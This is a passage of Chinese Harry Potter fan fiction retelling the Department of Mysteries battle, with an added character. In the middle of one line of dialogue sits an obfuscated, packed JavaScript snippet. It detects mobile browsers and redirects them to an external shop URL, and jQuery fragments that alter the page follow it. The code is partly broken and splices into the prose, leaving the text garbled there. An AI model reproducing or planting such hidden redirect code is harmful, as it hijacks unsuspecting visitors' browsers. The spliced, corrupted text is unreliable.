他们蹑手蹑脚地沿着架子之间长长的过道朝前走去,不时回头瞥瞥身后,远处几乎是一片漆黑。每个玻璃球下面的架子上都贴着泛黄的小标签。一些小球发出神秘的流动的光,另外一些则模糊而黑暗,就像熄灭了的灯泡。他们走过第84排……第85排——哈利在努力聆听最细微的动静,但是什么也听不到,可能是西里斯的嘴巴被堵住了,也可能他已经不省人事……或者,一个令人厌恶的声音钻进他的脑海里:“可能他已经死了……” 如果是那样,我是可以感觉到的,哈利提醒自己说,他的心都跳到了嗓子眼儿,我会知道…… “97。”赫敏小声说。 他们集中站在第97排的一端,目不转睛地盯着架子旁的走廊,那里没有人。 “他就在最那边,”哈利说,他的嘴巴已经有些发干了,“站在这里,是不可能看清楚的。” 他带着大家从两排高耸的玻璃球之间穿过,他们经过的时候,有些玻璃发出微弱的亮光…… “他应该就在这附近,”哈利的声音很小,他深信每向前一步,漆黑一团的地板上就会出现西里斯槛褛的身影,“就在这里的一个什么地方……真的很近了……” “哈利?”赫敏试着叫他,但他不想回答,他嘴里已经很干了。 “这里的……某个地方……”他说。 他们已经来到了这排架子的另一端,暴露在更多暗淡的烛光里。这里也没有人。只有回音和满是尘埃的寂静。 “他可能在……”哈利用嘶哑的声音小声说,眼睛盯着旁边的过道,“或者可能……”他马上又顺着下一条过道看了过去。 “哈利?”赫敏又叫了一声。 “什么?”他有些不耐烦了。 “我……我想西里斯不在这儿。” 没有人做声。哈利不想去看他们之中的任何一个人。他觉得很难受。他不明白为什么西里斯不在这儿。而他明明该在这儿。哈利就是在这儿见到了他…… 他朝一个方向快速跑过一排排的架子,顺着它们望去。一条又一条空荡荡的过道从他身边闪过。他的伙伴直勾勾地望着他,他又掉转方向,经过他们,朝相反的方向跑去。到处都没有西里斯的影子,也没有打斗过的痕迹。 “哈利?”罗恩喊。 “什么?” 他不想听罗恩说话;不想听罗恩说他很蠢,或者是建议他们应该回到霍格沃茨去,但是他的脸越来越火辣辣的,好像自己想在面对高高的明亮的正厅和其他责备的目光之前,偷偷地在这里的黑暗中躲藏一段时间…… “你看见这个了吗?”罗恩说。 “什么?”哈利问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419022|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这次的语气很急切——一定是西里斯曾在这里待过的痕迹或线索。其他人都站在第97排架子尽头靠向里一点的地方,他大步走到他们跟前,什么也没有发现,只是看见罗恩正在注视着架子上的一个脏兮兮的玻璃球。 “什么?”他阴郁地又问了一遍。 “这上面——这上面有你的名字。”罗恩说。 哈利靠近了一些,罗恩指着一个小玻璃球,它很脏,好像多年都没有被碰过似的。但里面的微光使它有些发亮。 “我的名字?”哈利茫然地问。 他走上前,因为不如罗恩高,他不得不伸直了脖子去看贴在架子上的玻璃球下面的泛黄的标签。上面用精巧的字体标着一个大约是十四年以前的一个日期,接下来是: 【S.P.T to A.P.W.B.D. 黑魔头和哈利·波特】 哈利盯着它。 “这是什么?”罗恩问道,“你的名字怎么会在这上面?” 他看了一眼架子上的其他标签。 “架子上没有我的名字,”他困惑地说,“也没有其他人的名字。” “哈利,我想你不应该碰它。”当哈利把手伸过去的时候,赫敏尖声说。 “为什么不应该?”他说,“它与我有关,不是吗?” “别,哈利。”纳威突然说。哈利看了他一眼。纳威汗涔涔的圆脸在微微发亮,看上去他似乎不能再承受更多的不安和焦虑了。 “我的名字写在上面。”哈利说。 他心想管他呢,豁出去了,于是他握住了那个肮脏的小球。他原以为它是冰凉的,但是正相反,它让人觉得它好像已经在阳光下放了几个小时,好像被它自身的光芒温暖着。哈利期待着,甚至是希望有什么戏剧性的事情会发生,希望有一些令人兴奋的东西可以令他们这漫长且危机四伏的旅行最终有些价值,他把这个玻璃球从架子上取了下来,瞪眼看着它。 没有任何事情发生。另外五个人走过来站在他的周围,他用手拂去玻璃球表面厚厚的尘土。他们目不转睛地盯着他手中的球。 然后,在他们的右后方,响起一个懒洋洋的声音。 “很好,波特,现在慢慢转过身来,把它给我。” 突然他们周围浮现出许多黑影,堵住了他们两旁的去路;这些人的眼睛在兜帽的缝隙里闪闪发光,十二根尖端发亮的魔杖瞄准了他们的心脏;金妮吓得屏住了呼吸。 “给我,波特。”马尔福·卢修斯慢吞吞地重复了一遍,掌心向上伸出手来。 哈利的心猛地沉了下去。他们被包围了,而且对方的人数是他们的两倍。 “给我。”马尔福又说了一遍。 “西里斯在哪儿?”哈利问道。 几个食死徒笑了起来;在哈利左边几个黑乎乎的身影中,一个刺耳的女人声音得意地说:“黑魔王总是料事如神!” “总是,”马尔福小声附和着,“现在,把预言球给我,波特。” “我要知道西里斯在什么地方!” “我要知道西里斯在什么地方!”哈利左边的那个女人鹦鹉学舌地说。 她和她的食死徒同伙又逼近了一些,离哈利他们只有几英尺远了,他们魔杖上发出的亮光使哈利有些眼花缭乱。 “你们抓走了他。”哈利说。他没有理会内心升起的慌乱,还有自从他们第一步踏进第97排时,自己一直想努力驱散的恐惧感。“他在这儿。我知道他在。” “小宝贝被吓醒了,还以为梦到的是真的呢。”那个女人用婴儿似的声音令人厌恶地说。哈利发觉罗恩在自己身旁动弹了一下。 “什么也别做。”哈利嘀咕了一声,“现在还不能——” 那个学他说话的女人用沙哑刺耳的声音大笑起来。 “你们听到了吗?你们听到了吗?他在给别的孩子下命令,好像他打算攻击我们似的!” “哦,你可不如我了解波特,贝拉特里克斯。”马尔福轻轻地说,“他在英雄主义方面可有一个很大的弱点;黑魔王了解他这一点。现在把预言球给我,波特。” “我知道西里斯就在这儿。”哈利说,尽管慌乱的情绪使他胸口发紧,让他仿佛感到自己都不能正常呼吸了,“我知道,你们抓了他!” 大笑起来的食死徒更多了,那个女人的笑声最响。 “是时候了,你也该了解现实与梦境之间有什么不同了,波特。”马尔福说,“快点儿给我预言球,不然的话我们就要使用魔杖了。” “好,那就来吧。”哈利说着把自己的魔杖举到胸前,同时,罗恩、赫敏、纳威、金妮和卢娜的五根魔杖也在他两旁纷纷举了起来。哈利心头一紧。如果西里斯真的不在这里,那他就是在把自己的朋友引向无谓的死亡…… 但是食死徒们没有攻击。 “把预言球交出来,没必要让人受伤。”马尔福冷冷地说。 这回轮到哈利大笑了。 “是啊,太对了!”他说,“我把这个——预言球给你,是吧?然后你就让我们悄悄溜回家,是吧?” 他的话刚一出口,那个女食死徒就尖叫了一声:“预言球飞——” 哈利对她早有防备:没等她念完咒语,哈利就大声喊道:“盔甲护身!”尽管玻璃球滑到了他的手指尖上,但他还是努力把它抓住了。 “哎呀,他还挺会玩儿的呢,波特小宝贝。”她说,狂怒的眼睛在兜帽的缝隙中狠狠地瞪着,“很好,那么——” “我告诉过你,不要这样!”马尔福·卢修斯朝那个女人大吼,“万一你把它打碎了——!” 哈利飞快地盘算着。这些食死徒想要这个脏兮兮的玻璃球。他对这个可没有兴趣。他只想把大家全都活着带出去,确保他的朋友们不会因为自己的愚蠢而付出惨重的代价…… 那个女人离开她的同伙,走了过来,扯下她的兜帽。阿兹卡班使贝拉特里克斯·莱斯特兰奇面颊深陷,显得既憔悴又瘦骨嶙峋,但却洋溢着兴奋、狂热的神色。 “还需要多劝劝你吗?”她说,胸口猛烈地起伏着。“那很好,抓住那个最小的家伙,”她吩咐旁边的食死徒说,“让他看看我们是如何折磨这个小女孩的。我来动手。” 哈利发觉其他人朝金妮围了过来;他向旁边迈了一步,正好站在金妮的前面挡住了她,把预言球举到胸前。 “如果你想对付我们当中的任何一个,你就必须把这个打碎。”他冲贝拉特里克斯说,“如果你没有带着它回去,我想你的主人不会很开心吧,是不是?” 她没有动,只是死死盯着哈利,用舌尖舔了一下自己薄薄的嘴唇。 “那么,”哈利说,“这到底是个什么样的预言啊?” 他想不出该怎么办,只能不停地说话。纳威的胳膊紧紧抵着他的胳膊,他能感觉到纳威在发抖,也能感觉到有一个人正冲着他的后脑勺急促地呼吸。他希望他们都在积极地想逃出去的办法,因为他的脑子里一片空白。 “什么样的预言?”贝拉特里克斯重复道,脸上那种呲牙咧嘴的笑容逐渐消失了,“你在开玩笑,哈利·波特。” “不,我没有开玩笑,”哈利的目光掠过一个个食死徒,想搜寻一个薄弱环节,一个能够让他们从其中逃脱的空隙,“为什么伏地魔想要它?” 几个食死徒发出不满的低低嘘声。 “你敢直呼他的名字?”贝拉特里克斯低声说。 “当然,”哈利仍旧牢牢地抓住玻璃球,以防再有人施魔法把它抢走,“是啊,我说出这个名字没有什么问题,伏——” “闭嘴!”贝拉特里克斯厉声尖叫,“你竟敢从你卑贱的口中说出他的名字,你竟敢用你那杂种的舌头玷污它,你竟敢——” “你知道他也是个杂种吗?”哈利毫无顾忌地说。赫敏在他耳边小声呻吟着。“伏地魔?当然了,他妈妈是个巫师,但他爸爸却是个麻瓜——难道他一直告诉你们他是纯种的?” “昏昏倒——” “不!” 一道红光从贝拉特里克斯·莱斯特兰奇的魔杖尖端喷射过来,但马尔福的咒语使它偏离了方向,打在哈利左边一英尺远的一个架子上,上面的一些玻璃球被击得粉碎。 两个像幽灵一样泛着珍珠白色、像烟一样飘动的身影从落在地板上的玻璃碎片中伸展开,开口说话了。他们的声音此起彼伏,在马尔福和贝拉特里克斯的叫喊声中,只能够听到只言片语。 “……在至日的时候会出现一个新……”一个长着络腮胡子,上了年纪的身影说。 “不要攻击,我们需要预言球!” “他竟敢——他竟敢——”贝拉特里克斯语无伦次地尖叫着,“他就站在那里——肮脏的杂种——” “等我们拿到预言球再说!”马尔福喊道。 “……之后没有人会来……”那个年轻女人的身影说。 92.chapter90 从碎裂的玻璃球里冒出来的这两个身影溶化成薄薄气体,消失得无影无踪,只剩下地板上的玻璃碎片。 它们给了哈利一个灵感。问题是怎样把他的想法告诉其他人。 “要我把球给你,你还没有告诉我这个预言有什么特别之处呢。”哈利说道,他在拖延时间。他慢慢把脚挪向一侧,想接触到其他人的脚。 “别跟我们耍花招,波特。”马尔福说。 “我没有耍花招。”哈利回答,他一边跟他们对话一边挪动着自己那只脚。接着他感觉到了某人的脚趾,于是踩了上去。身后发出一个尖细的吸气声,他听出自己踩到了赫敏的脚。 “怎么了?”赫敏声音很小地问道。 “邓布利多从来没告诉过你,你留下那道伤疤的原因就藏在神秘事务司里吗?”马尔福嘲笑着说。 “我——什么?”哈利说,片刻间他完全忘了自己的计划,“我的伤疤怎么了?” “怎么了?”赫敏在身后又小声问了一遍,语气比刚才还要急切。 “这怎么可能?”马尔福不怀好意地开心说;几个食死徒再次大笑起来,在这些笑声的掩护下,哈利尽可能小地蠕动嘴唇,从牙缝里挤出声音对赫敏说:“打碎架子——” “邓布利多从来没有告诉过你?”马尔福又说了一遍,“那么,这就可以解释你为什么没有早点到这儿来了,波特,黑魔王很奇怪为什么——” “——等我说开始——” “——为什么当他在梦里告诉你它藏在什么地方的时候,你没有跑过来。他认为本能的好奇心会让你渴望听到那些准确的信息……” “是吗?”哈利说。在他身后,与其说是听到,不如说是感觉到赫敏正在把他的话传递给其他人。他得想办法将谈话进行下去,以转移食死徒的注意力。“所以他要我拿到那个预言球,对吗?为什么?” “为什么?”马尔福开心地说道,“因为只有预言中提到的人,波特,才有权从神秘事务司拿到它,这是黑魔王在利用别人为他拿出预言球时发现的。” “那么,他为什么想拿关于我的预言?” “关于你们两个的,波特,是关于你们两个的……难道你从来就没有想过,当你还是个婴儿的时候,黑魔王为什么要想办法干掉你?” 穿过马尔福兜帽上那道眼孔,哈利瞪着他那双若隐若现的灰色眼睛。这个预言就是哈利的父母死去的原因吗?就是他带着自己那道闪电形伤疤的原因吗?所有这些的答案都攥在自己的手中吗? “有人为我和伏地魔做了同一个预言?”他轻轻地说,目不转睛地盯着卢修斯·马尔福,手紧紧握着那个温乎乎的玻璃球。它几乎不比一个金色飞贼大,而且仍然蒙着灰尘。“如果预言中的人真的是他,他为什么不自己来拿呢?” “他自己来拿?”贝拉特里克斯疯狂地笑了一声,尖叫着说,“因为他没有必要亲自来这里,有更重要的事情需要他去做。” “所以他指使你们来为他做这种肮脏的勾当,是不是?”哈利说,“就像他想让斯多吉来偷这个预言球一样——还有博德?或者,还有雷古勒斯……” “太对了,波特,太对了……”马尔福慢条斯理地说,“但是,黑魔王知道你还没有傻到——” 他的话戛然而止,一道无声咒从食死徒的背后打了过来,卢修斯脸朝下栽倒在了地上。 贝拉特里克斯和其他食死徒都不约而同地往身后望去,想要知道究竟是出了叛徒还是还有其他人在。房间黑漆漆的,除了预言球发出的微光,很显然角落里空无一人。 “究竟是——” “开始!”哈利高声喊道。 他并不清楚卢修斯为什么会倒在地上,但是他知道这是一个绝佳的机会。 五个不同的声音在他身后大叫:“粉身碎骨!”五条咒语飞向五个不同的方向,迎面的架子被击中后炸开了,高耸的架子摇摇晃晃,上百个玻璃球四分五裂,珍珠白色的身影展现在空中飘浮着,他们的声音在人们从未见过的如暴雨般落在地板上的碎玻璃和木屑中回荡—— “快跑!”哈利高喊,架子摇摇欲坠,更多的玻璃球开始从上面掉下来。他一把抓住赫敏的长袍往前拖,另一只胳膊遮住脑袋,大块断裂的架子还有细小的玻璃碎片轰隆隆哗啦啦落在他们身上。一个食死徒穿过尘雾向前猛蹿过来,哈利用胳膊肘狠狠地顶在他戴着面罩的脸上;痛苦的叫喊声、架子倒塌下来爆裂的轰鸣声,从玻璃球里释放出来的先知们断断续续的说话声古怪地响成一片—— 哈利发现前面没有阻碍,还看到罗恩、金妮和卢娜从他身边飞奔而过,他们的胳膊都捂在脑袋上;有什么东西重重地从侧面打在他脸上,可他只是猛地低下脑袋一个劲儿地向前冲;他的肩膀突然被一只手抓住了,他听到赫敏大喊一声:“昏昏倒地!”那只手立刻松开了—— 他们来到第97排的另一端;哈利向右一转开始全速奔跑;他能够听到身后的脚步声和赫敏催促纳威的声音;就在正前方,一扇门虚掩着,他们就是从这里进来的,哈利可以看到钟形玻璃罩闪烁着的光芒;他一个箭步冲出门外,等待其他人快速穿过门槛之后再把门猛地关上,预言球仍完好无损地攥在他的手里—— “速速禁锢!”赫敏上气不接下气地念着,屋门发出吱吱嘎嘎的奇怪声音封上了。 “他们——他们在哪儿?”哈利气喘吁吁地问。 他以为罗恩、卢娜和金妮跑在他们前面,会在这间屋子里等着他们,但这里没有人。 “他们一定是走错路了!”赫敏一脸惊慌地轻声说。 “听!”纳威小声说。 纷乱的脚步声和嘈杂的叫喊声从刚刚封闭的门后传过来;哈利把耳朵贴在门上,听见一个食死徒在狂吼:“别管卢修斯了,别管他,我说——对黑魔王来说,他的伤跟丢了预言球相比根本不算什么。我们之间可能出了叛徒,剩下的人要组织起来!大家两人一组分头搜寻,记住,在得到预言球前不要对波特动粗,如果需要,其他人都可以杀掉——” “我们该怎么办?”赫敏浑身打着哆嗦问哈利。 “嗯,我们不能待在这里等着他们找到我们。”哈利说,“首先,离开这扇门。” 他们尽可能轻地经过有袖珍小蛋在里面孵化小鸟的微微闪光的钟形玻璃罩,跑向房间的另一头,那里有门可以通往环形门厅。快要跑到的时候,哈利听到有个巨大、沉重的东西撞在赫敏刚刚用魔咒关起来的那扇门上。 “闪开!”一个声音粗暴的大喊,“阿拉霍洞开!” 门猛地打开了,哈利、赫敏还有纳威迅速钻到桌子底下。他们可以看到地板上两个食死徒的袍子下摆越来越近,他们的步子迈得很快。 “他们可能已经径直跑到大厅里去了。”那个粗暴的声音说。 “检查一下桌子下面。”另一个说。 哈利看到他们的膝盖弯下来,他在桌子底下把魔杖探了出去,喊了一声:“昏昏倒地!” 一道红光击中了最近的一个食死徒,他向后仰面跌进一个落地大座钟里,把它撞翻了;但另一个食死徒跳到一旁躲开了哈利的咒语,他用自己的魔杖对准了为了瞄得更准一些而正从桌子底下爬出来的赫敏。 “阿瓦达——” 哈利跃过地板,整个身体扑过去抱住了他的两个膝盖,把他掀翻在地,他的魔杖打偏了。纳威急着帮忙,一下子顶翻了桌子;他发疯似的用魔杖对准扭打在一起的两个人,大喊: “除你武器!” 哈利与食死徒的魔杖顿时脱手而出,朝后面通往预言大厅的入口飞了过去;他们俩都赶紧爬起来追赶他们的魔杖,食死徒在前,哈利在后。纳威在后面愣住了,显然是被他刚才所做的惊呆了。 “闪开,哈利!”纳威又喊,明摆着是要弥补刚才的过失。 当他再一次瞄准并口念咒语时,哈利飞快地闪到一旁。 “昏昏倒地!” 那道红光掠过食死徒的肩膀,打在一个带有玻璃前门的壁橱上,壁橱所在的那面墙上挂满了各式各样的沙漏。壁橱坠落在地,摔得四分五裂,玻璃飞得到处都是,接着壁橱又弹回到墙上,变得完好无损,然后又坠落下来,摔得粉碎—— 食死徒的魔杖躺在烁烁闪光的钟形玻璃罩旁边的地板上,他一把抓了起来。当他转身的时候,哈利急忙蹲下躲在另一张桌子的后面;他的面罩滑下来遮住了眼睛。于是他用另一只空手扯掉面罩,大叫:“昏昏——” “昏昏倒地!”赫敏已经追上了他们,扯着嗓子高喊。一道红光打在食死徒的胸口上:他定住了,仍举着手臂,魔杖咔哒一声掉在地上,然后朝身后的钟形玻璃罩仰面倒了下去。哈利以为他会当的一声撞在坚固的玻璃上,再顺着钟型玻璃罩滑到地板上。然而,他的脑袋穿过钟形玻璃罩沉了下去,好像那只是个肥皂泡似的,接着他变得一动不动,摊开四肢躺在桌子上,脑袋沉在充满闪光气流的钟形玻璃罩里。 “魔杖飞来!”赫敏喊道,哈利的魔杖从一个漆黑的角落里飞到她的手上,她把它抛给了哈利。 “谢谢,”哈利说,“好吧,让我们离开这——” “小心!”纳威惊恐地说,他正盯着脑袋在钟形玻璃罩里的食死徒。三个人重新举起魔杖,但谁也没打过去:他们都目不转睛地张着嘴巴,胆颤心惊地注视着那个脑袋的变化。 它在很快地收缩,变得越来越光秃,黑色的头发和胡子茬缩回到脑袋里,它的脸颊变得光滑起来,脑袋圆圆的,覆盖着一层绒毛…… 就在食死徒挣扎着重新站起来的时候,一个婴儿脑袋怪异地长在他那粗壮的、肌肉发达的脖子上;然而,就在他们看得目瞪口呆的时候,那颗脑袋又开始膨胀到它以前的大小,浓密的黑色毛发又从头顶和下巴上长了出来…… “是时间,”赫敏用畏惧的声音说,“时间……” 那个食死徒又摇了摇丑陋的脑袋,努力想使自己变清醒,但是还没等他振作起来,他的脑袋又一次开始缩回到婴儿时期…… 附近的屋子里传来一声叫喊,接着是一声撞击和一声尖叫。 “罗恩?”哈利喊道,立刻从眼前发生的怪异现象中转过身来,“金妮?卢娜?” “哈利!”赫敏尖叫起来。 那个食死徒已经把头从钟形玻璃罩里抽了出来,他的样子怪极了,那颗小小的婴儿脑袋高声喊叫着,粗壮的手臂四处挥舞,很是危险,差一点就打到了已经低头躲避的哈利。哈利举起魔杖,但让他诧异的是,赫敏抓住了他的胳膊。 “你不能伤害一个婴儿!” 已经没有时间来争论这个问题了;哈利听到更多的脚步声从预言大厅里传过来,越来越响,他也意识到自己不该喊得那么大声,暴露了他们的位置,但是已经太晚了。 “过来!”他招呼了一声。房间另一端的门敞开着,通向那个黑色门厅,他们飞快地朝那扇门跑过去,把那个摇摇晃晃、长着丑陋婴儿脑袋的食死徒丢在身后。 他们刚跑到半路,哈利就从敞开的门中看到另外两个食死徒正穿过黑色的屋子向他们跑来;他马上调转方向,冲进左边一间黑乎乎、乱糟糟的小办公室,砰的一声把他们身后的门关上了。 “速速——”赫敏开口说,但没等她念完咒语,门就被撞开了,那两个食死徒冲了进来。 伴着胜利的欢呼,两个人都大叫起来: “障碍重重!” 哈利、赫敏和纳威全都被撞飞了;纳威被抛到桌子后面不见了;赫敏撞上一个书架,厚厚的书本倾泻下来,立刻把她埋住了;哈利的后脑勺猛地撞到身后的石头墙上,眼前直冒金星,一时间他头晕眼花,什么也做不了。 “我们抓住他了!”离哈利最近的那个食死徒大声喊道,“在一间办公室里,离——” “无声无息!”赫敏大喊,食死徒的声音消失了。通过面罩的洞口,他还在不停地动着嘴巴,但一点儿声音也没有。他的同伙把他推到一旁。 “统统石化!”就在第二个食死徒举起魔杖时,哈利高喊。那个食死徒的胳膊和腿都啪地贴在一起,他脸朝下倒在哈利脚边的地毯上,僵硬得像块木板,不能动弹了。 “太棒了,哈——” 那个刚刚被赫敏打哑的食死徒突然一挥他的魔杖,一道像是紫色火苗的东西穿透赫敏的胸膛,赫敏似乎惊讶地轻轻“哦”了一声,缩倒在地上一动也不动了。 “赫敏!” 哈利赶忙跪在她旁边,纳威也从桌子底下飞快地爬过来,魔杖举在他的面前。食死徒一看到纳威,马上朝他的脑袋狠狠地踢了过去——一脚踢断了纳威的魔杖,踹在他的脸上。紧接着一个咒语打在他脸上,纳威惨叫了一声躺在桌子底下不动了。 哈利转身高举着魔杖,看到那个食死徒已经扯下面罩,正用魔杖对准自己。哈利认出了这张苍白、扭曲的长脸,那正是《预言家日报》登载过的安东宁·多洛霍夫。 多洛霍夫笑得咧开了嘴巴。他那只空着的手指了指仍攥在哈利手中的预言球,又指了指自己,接着又指了指赫敏。尽管他说不出话来,但是他的意思再明白不过了:把预言球给我,不然你就跟她一个下场…… “交出预言球你照样会把我们杀光!”哈利说。 哈利头脑中掠过一阵恐慌,他已无法正常地思考。他一只手放在赫敏的肩上,仍能感觉到她的体温,但他根本不敢正眼看她。 他眼角的余光看见晕倒在桌子下面的纳威·隆巴顿,他的鼻子还流着鼻血。 忽然,门外响起轰的一声,多洛霍夫回头一看——长着婴儿头的食死徒出现在门口,他的脑袋叫喊着,失去控制的巨大双拳朝周围的一切东西挥打过去。哈利逮住了这个机会: “统统石化!” 多洛霍夫还没来得及抵挡,咒语就已经击中了他。他向前扑倒下去,横着压在他同伙的身上,他们两个都僵硬得跟木板一样,一动也不动了。 “赫敏,”哈利立刻晃动着赫敏,这时长着婴儿头的食死徒又跌跌撞撞地从视线里消失了,“赫敏,醒醒……” 他把手伸到赫敏的鼻子下,发现她还有呼吸,桌子下的纳威也一样。 哈利觉得紧张的情绪有了一些缓解。 他没有再吭声,竭力倾听周围的动静,但是只能听到呜咽声和跌跌撞撞走动的声音,那是长着婴儿脑袋的食死徒在隔壁屋子里发出来的。 哈利从门口探出头来,小心地环视了一下。长着婴儿脑袋的食死徒还在那里高声尖叫,不停地敲打撞击周围的东西。他推倒了落地大座钟,弄翻了桌子,糊里糊涂地哭叫着。他身后那个有玻璃前门的壁橱继续坠落下来摔得粉碎,然后又回到墙上自动地恢复原状,哈利估计那里面存放着所有的时间转换器。 他蹑手蹑脚地从办公室溜了出来,朝通往黑色门厅的屋门走去,那里现在看起来一个人也没有。 时间厅的门在他们的身后关上了,四周的墙又开始转动起来。刚才哈利后脑勺上挨的那一下好像把他打蒙了。他眯起眼睛,微微晃悠着,直到墙壁又停止了转动。他发现赫敏在门上留下的燃烧的X字都消失了,心里猛地一沉。 他还没来得及决定该试试哪个门,右边的一扇门突然弹开了,有三个人从里面跌了出来。 “罗恩!”哈利沙哑地喊道,朝他们冲了过去,“金妮——你们都——” “哈利,”罗恩说,他虚弱地傻笑着,向前一倒抓住了哈利胸前的袍子,用恍惚的目光盯着哈利,“是你们啊……哈哈哈……你看起来真滑稽,哈利,……你现在真是一团糟……” 罗恩的脸色十分苍白,一些黑色的东西正从他的嘴角流下来,紧接着他腿一软倒了下去,可手里仍抓着哈利的袍子,弄得哈利只好弯下腰。 “金妮?”哈利担心地说,“出什么事了?” 金妮摇了摇脑袋,靠着墙壁滑下去坐在地上,气喘吁吁地握着自己的脚脖子。 “我觉得她的脚脖子骨折了,我听到了咔嚓一声。”卢娜小声说,她正俯下身子站在金妮跟前,看起来是唯一没有受伤的人,“有四个人把我们追进一间满是行星的黑屋子;那真是个怪地方,有时候我们就飘浮在黑暗中……” “哈利,我们看到天王星正靠近我们!”罗恩说,仍在虚弱地傻笑着,“明白吗,哈利?我们看到天王星——哈哈哈——” 他的嘴角上冒出一个血泡,然后破裂了。 “——可是有一个人抓住了金妮的脚,我用了粉碎咒,结果冥王星在他面前爆炸了,但是……” 卢娜无奈地朝金妮打了个手势,她的呼吸非常微弱,始终闭着眼睛。 “罗恩是怎么了?”哈利担心地问道。罗恩还在傻笑着,吊在哈利胸前的袍子上。 “我不清楚他们用什么打中了他,”卢娜难过地说,“可他变得有些古怪,我差点没办法把他带出来。” “哈利,”罗恩说着把哈利耳朵扯到自己跟前,仍在虚弱地傻笑着,“你知道那个女孩子是谁吗,哈利?她是凯瑟琳……凯瑟琳回来了……她就在这里哈哈哈……” “凯瑟琳?你们看到凯瑟琳了吗?”哈利有片刻忘记自己应该怎么办。如果凯瑟琳在这里,或许他会镇静很多——他现在已经弄不清楚凯瑟琳究竟是站在食死徒那边,还是自己这边,但是直觉告诉他,他需要凯瑟琳帮助她。 “我们得离开这儿。”卢娜打断了哈利的思绪。为了安全起见,她把自己的魔杖架在耳后,接着用一只胳膊搂住金妮的腰把她扶了起来。 “不过是脚脖子受伤,我自己能行!”金妮有些急躁地说,但是说着她就朝一旁倒了下去,为了稳住自己她只好赶忙抓住卢娜。哈利把罗恩的一只胳膊搭在自己的肩上。他朝四下里看了看,他们第一次就能找到出口的机会只有十二分之一—— 他扶着罗恩向一扇门走去;只差几步路的时候,大厅对面的另一扇门猛地打开了,贝拉特里克斯·莱斯特兰奇带着两个食死徒跑了进来。 “他们在这儿!”她尖叫着说。 昏迷咒横穿房间射了过来:哈利一头冲进面前的那扇门,匆忙放下罗恩,他们全都跨过了门槛,及时把贝拉特里克斯关在了门外。 “速速禁锢!”哈利喊道,他听见门外那三个食死徒正用身体撞击房门。 “没关系!”一个男人的声音说,“还有别的路可以进去——我们找到他们了,他们就在这儿!” 哈利转过身;他们又回到了大脑厅,四周的墙壁上确实有很多门。他能听见身后大厅里的脚步声,更多的食死徒正跑过来与起初的三个人会合。 “卢娜——帮帮我!” 他们两个分头绕着屋子飞跑,一边跑一边把门封好;哈利急忙跑向另一扇门时撞上了一张桌子,他从桌面上一翻身滚了过去。 “速速禁锢!” 这些门的背后传来许多跑动的脚步声,不时有人用沉重的身体撞在门上,把门撞得吱吱地颤动着;卢娜和纳威正沿着对面的墙壁给屋门施魔法——接着,就在哈利来到屋子另一端时,他听见卢娜喊道: “速速——啊——!” 他一转身,正好看见卢娜被抛了起来;五个食死徒穿过卢娜没来得及封闭的那扇门拥进了屋子;卢娜撞在一张桌子上,顺着桌面滑落到另一侧的地板上,她四肢摊开平躺在那里,像赫敏一样一动不动了。 “抓住波特!”贝拉特里克斯尖叫一声朝哈利跑过来;哈利躲开了她,掉头往回狂奔;只要他们不击中预言球,他就是安全的—— “嘿!”罗恩说,他已经摇摇晃晃地站了起来,正傻笑着踉踉跄跄地向哈利走去,“嘿,哈利,这里有些大脑,哈哈哈,很奇怪吧,哈利?” “罗恩,闪开,趴下——” 但是罗恩已经用魔杖对准了那个玻璃缸。 “真的,哈利,那是大脑——看——大脑飞来!” 场面似乎在顷刻间定格了。哈利和金妮,还有每一个食死徒都没有注意彼此,而是注视着那个玻璃缸的顶端。一个大脑从绿色液体中跃了出来,就像一条欢蹦乱跳的鱼:它好像在半空中悬停了一会儿,接着朝罗恩飞过去,一边飞一边吐着丝,就像是从它身上飞出了有活动形象的带子,跟成卷的电影胶片似的一圈圈展开了。 “哈哈哈,哈利,看呀——”罗恩一边说,一边看着大脑吐出华而不实的脑浆,“哈利,过来摸一下;肯定很古怪——” “罗恩,不要!” 哈利不知道如果罗恩触摸了那些拖在大脑后面的思想触角会怎么样,但他确信那不是什么好事。他向前冲过去,但是罗恩已经伸出双手抓住了大脑。 这些触角一接触到罗恩的皮肤,立刻开始像绳子一样缠住了他的手臂。 “哈利,你看这是怎么了——不不——我不喜欢这样——停下来——停下来——”但是细细的带子已经绕在了罗恩的胸膛上;他拼命地撕扯着像章鱼一样紧紧缠绕着自己身体的大脑。 “四分五裂!”哈利大叫,希望在罗恩的眼睛被缠住以前斩断这些触角,可是它们没有断开。罗恩摔倒了,还在不停地翻腾着想挣脱束缚。 “哈利,他会被憋死的!”金妮尖叫起来,由于脚脖子受了伤,所以她待在地上无法动弹——一道红光从一个食死徒的魔杖射出来,正好打在金妮脸上。她倒向一旁,躺在那里不省人事了。 “昏昏倒地!”哈利大声喊着,现在只剩他一个人了,他朝走过来的食死徒挥动着魔杖,“昏昏倒地!昏昏倒地!” 但是什么效果也没有。 他一个人得对付五个食死徒,其中两个食死徒发射出的几道箭一样的银光没有击中他们,但在他们身后的墙上留下了几个凹坑。哈利飞快地跑开了,贝拉特里克斯在后面紧紧追赶:哈利把预言球高高举在头顶上,全速朝屋子另一头跑去,一心想着把这些食死徒从自己的伙伴身旁引开。 这一招好像挺管用;他们跟在他身后飞奔,一路上撞飞了桌椅,但是他们唯恐损坏预言球,不敢对他施咒语,只有食死徒闯进来的那扇门仍然敞开着,于是他冲了过去,他在这间新屋子里跑了几步,突然觉得地板消失了—— 他顺着一级级陡峭的石头台阶摔了下去,在每一级台阶上都被弹起来,最后一下撞击撞得他连气都喘不过来了。他平躺在石坑里,石头拱门竖立在台子上。整个房间回荡着食死徒们的大笑声:哈利向上一看,大脑厅里的五个食死徒正一步步走下台阶向他逼近,同时更多的食死徒从其他的门里冒了出来,开始朝着他跳下一级级石蹬。他的腿抖得厉害,几乎无法支撑自己的身体,但他还是站了起来。 预言球出乎意料地仍握在他的左手中,完好无损 